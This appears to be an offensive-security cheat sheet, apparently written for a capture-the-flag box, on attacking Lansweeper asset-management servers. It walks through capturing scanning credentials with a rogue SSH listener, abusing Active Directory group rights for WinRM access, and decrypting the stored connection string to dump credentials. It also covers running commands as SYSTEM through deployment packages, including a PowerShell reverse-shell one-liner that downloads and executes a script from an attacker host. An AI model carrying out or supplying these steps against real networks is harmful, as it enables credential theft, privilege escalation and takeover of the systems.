Table of Contents
Summery
The Lansweeper Platform is a Cyber Asset Intelligence Platform that gives you one continuously validated view of every IT, OT, cloud, and IoT asset. Lansweeper automatically discovers and centralizes your asset data, so your IT and security teams work from the same source of truth.
Exploitation
Capture scanning credentials
If you have access to lansweeper’s dashboard you can create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate to you with those credentials, and you will capture them with sshesame.
- Follow the steps in sshesame to create a listener.
- In the dashboard go to -> Scanning → Scanning Targets → Add Scanning Target
- Select the
TypeasIP Rangeand your VPN IP in bothStartandEndrange input fields - Configure SSH port to be something reachable like
2022if22if it’s blocked - Disable all scheduled runs as you will trigger it manually
- Select the
- Go to Scanning → Scanning Credentials → ensure Linux/SSH creds exist and map them to the your new target (or just map all avaiable credentials)
- Go to -> Scanning → Scanning Targets and click “Scan now” on your target
- Soon you should get a call-back on your attack host. You can go to Scanning -> Scanning Queue to see when your query will get processed by the server
Important side-note: Credential selection order matters
If you ran a rescan after successfully getting credentials, Lansweeper will first retry the credentials that succeeded the last time. Then, the explicitly mapped credentials in their configured order will be used, and finally the global credential of the same type. A hsot that accepted the first password authentication therefore normally will not observe later credentials. To avoid this issue you will have to reject the authentication attempts to enumerate any other, later provided passwords.
WinRM access by adding yourself to an lansweeper admin group
If you have credentials for a lansweeper user that has access to a discovery group like “Lansweeper Discovery” or similar. This group usually will have GenericAll rights over “LanSweeper Admins” group or similar. That admin group then usually is a member of the “Remote Management Users” group which grants it’s member WinRM access to the service host - which is often a DC.
To get add yourself to such group, you can followe the steps written in Bloodhound or BloodyAD.
Decrypt lansweeper’s database connection string and drop stored Scanning Credentials
Lansweeper server typically stores an encrypted connection string and a symmetric key used by the application. With appropriate local access (like a lansweep service user, someone related or highly privileged), you can decrypt the database connection string and then extract the Scanning Credentials stored in it.
Typical locations:
- Web config:
C:\Program Files (x86)\Lansweeper\Website\web.config - Encryption key:
C:\Program Files (x86)\Lansweeper\Key\Encryption.txt
To automate decryption and dumping of stored creds you can use SharpLansweeperDecrypt.
Just upload it onto the target host and followe the exploitation steps defined in it’s note.
Remote code execution as system with a deployment package
As a member of “Lansweeper Admins” or similar, the web UI exposes new tabs, “Deployment” and “Configuration”. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on a target host.
Lansweeper uses an administrative scanning credential to reach the target’s Task Scheduler and C$, then creates a task for the deployment. When the package uses the System Account run mode, the payload executes as NT AUTHORITY\SYSTEM; other run modes can use the mapped scanning credential or the currently logged-on user, so verify the selected mode rather than assuming SYSTEM.
High-level steps are:
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc)
- Target the desired host like DC or the host where lansweeper runs and click “Deploy” or “Run now”
- Catch the shell with a listener of your choice.
Example payloads:
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
# Reverse shell example (adapt to your listener)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"References
Used in: Sweep
Hacktricks’ article